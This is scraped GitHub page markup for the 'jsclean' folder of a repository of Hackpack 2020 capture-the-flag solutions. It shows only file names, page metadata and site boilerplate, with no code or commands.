octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>asd.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>mousetrap</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>mousetrap.c</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>mousetrap.pdf</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>Hackpack2020/jsclean at master · dosxuz/Hackpack2020 · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="A6FE:68DA:20A65BA8:21A2A256:641220CD" data-pjax-transient="true"/><meta name="html-safe-nonce" content="f5280f1f5f41bcebaf504c0f2db9c8eb15bd2cef1935e635a0e852a01b05d345" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJBNkZFOjY4REE6MjBBNjVCQTg6MjFBMkEyNTY6NjQxMjIwQ0QiLCJ2aXNpdG9yX2lkIjoiNTYyMDc2MzA5MTM3NTYyODQ5MyIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="ce25fbea9787e394618cee7a7332d3ac8643f95bdeddaf359bead13c6552caac" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:260132292" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="These are few of the problems I solved in hackpack2020 - Hackpack2020/jsclean at master · dosxuz/Hackpack2020"> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/6431ea187a2a0e23127cd57108dfdeb20e57845db8ffcef50e56d7ec61c07eb9/dosxuz/Hackpack2020" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="Hackpack2020/jsclean at master · dosxuz/Hackpack2020" /><meta name="twitter:description" content="These are few of the problems I solved in hackpack2020 - Hackpack2020/jsclean at master · dosxuz/Hackpack2020" /> <meta property="og:image" content="https://opengraph.githubassets.com/6431ea187a2a0e23127cd57108dfdeb20e57845db8ffcef50e56d7ec61c07eb9/dosxuz/Hackpack2020" /><meta property="og:image:alt" content="These are few of the problems I solved in hackpack2020 - Hackpack2020/jsclean at master · dosxuz/Hackpack2020" /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="Hackpack2020/jsclean at master · dosxuz/Hackpack2020" /><meta property="og:url" content="https://github.com/dosxuz/Hackpack2020" /><meta property="og:description" content="These are few of the problems I solved in hackpack2020 - Hackpack2020/jsclean at master · dosxuz/Hackpack2020" /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/dosxuz/Hackpack2020 git https://github.com/dosxuz/Hackpack2020.git"> <meta name="octolytics-dimension-user_id" content="57105533" /><meta name="octolytics-dimension-user_login" content="dosxuz" /><meta name="octolytics-dimension-repository_id" content="260132292" /><meta name="octolytics-dimension-repository_nwo" content="dosxuz/Hackpack2020" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="260132292" /><meta name="octolytics-dimension-repository_network_root_nwo" content="dosxuz/Hackpack2020" /> <link rel="canonical" href="https://github.com/dosxuz/Hackpack2020/tree/master/jsclean" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> 